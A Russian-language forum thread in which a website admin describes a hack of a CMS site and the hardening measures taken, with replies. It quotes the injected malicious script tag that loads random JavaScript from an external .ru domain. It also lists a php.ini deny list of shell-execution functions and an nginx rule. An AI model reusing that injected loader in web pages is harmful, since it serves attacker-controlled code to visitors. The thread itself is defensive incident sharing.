Как защитить сайт от взлома?
Всем привет!
Хочу поделиться некоторыми пережитым опытом и услышать мнения специалистов.
Не так давно на сайте, которым я занимаюсь более 3 лет, появился вредоносный код. Сайт имеет большую аудиторию и по этой причине стал жертвой хакера(ов).
В компилированные файлы шаблона вставлялся код следующего вида
Конфигурация сервака
Предпринятые меры защиты от взлома
Если у кого есть еще верные способы защиты от взлома, жду комментариев.
Хотелось бы услышать тех кто тоже столкнулся со взломом сайта и какие меры были предприняты.
Хочу поделиться некоторыми пережитым опытом и услышать мнения специалистов.
Не так давно на сайте, которым я занимаюсь более 3 лет, появился вредоносный код. Сайт имеет большую аудиторию и по этой причине стал жертвой хакера(ов).
В компилированные файлы шаблона вставлялся код следующего вида
<script>;document.write('<'+'script src=http://fljjsh'+'dqkrqq.ru/'+Math.round(Math.random()*99999999)+'.js></'+'script'+'>');</script>
Конфигурация сервака
- nginx/1.2.1
- php 5.4.4-14+deb7u5
- mysql 5.5.31-0+wheezy1
- memcached
Предпринятые меры защиты от взлома
- Сменили все пароли: ssh, mysql, пароль админа сайта.
- Нашли по логам shell-файлы и удалили их.
- Закрыли найденную дырку в собственном плагине.
- Поставили запрет за выполнение некоторых функций через php.ini
; отключаем вызов системных функций disable_functions = exec,passthru,shell_exec,system,proc_open,popen,parse_ini_file,show_source,touch,ls ; запрещаем php считывать директории кроме указанных open_basedir = /var/www/site.ru:/tmp ; запрещаем вызов несуществующих файлов php http://habrahabr.ru/post/100961/ cgi.fix_pathinfo=0;
- Запретили через nginx прямой вызов всех php файлов, кроме index.php
# запрещаем вызов всех подозрительных файлов location ~* ^/.*(?<!index)\.(php|php3|php4|php5|phtml|phps|pl|pm)$ { deny all; }
Если у кого есть еще верные способы защиты от взлома, жду комментариев.
Хотелось бы услышать тех кто тоже столкнулся со взломом сайта и какие меры были предприняты.
11 комментариев
вот и ответили. сам лс достаточно хорошо защищен, проблемы могут быть с плохо продуманными плагинами.
это если вопрос касается самой кмс.
если у вас стат. айпи — добавьте только его в хтаксес в список разрешенных для доступа к админ частям сайта.
В настройках сервера я писал, что стоит nginx, поэтому предложенные действия с .htaccess не подходят.
Да путь к админке у каждого плагина свой, что тоже не удобно.
Кому интересно могу выложить файлы шела, чтобы побаловаться на своем серваке.
Просто у админки сайта нет определенного адреса. После установки например плагина page нужно добавлять доступ к адресу /page/admin/, а это лезть в настройки хоста и править. Не думаю что это лучшее решение.
Соглашусь, если проводить добавленный контент через jevix то мало чего Вам будет грозить. Если не секрет
что было не так?
Host is up (0.080s latency).
Not shown: 999 closed ports
PORT STATE SERVICE
80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 1.50 seconds
Если ресурс большой, потратьтись на аудит безопасности.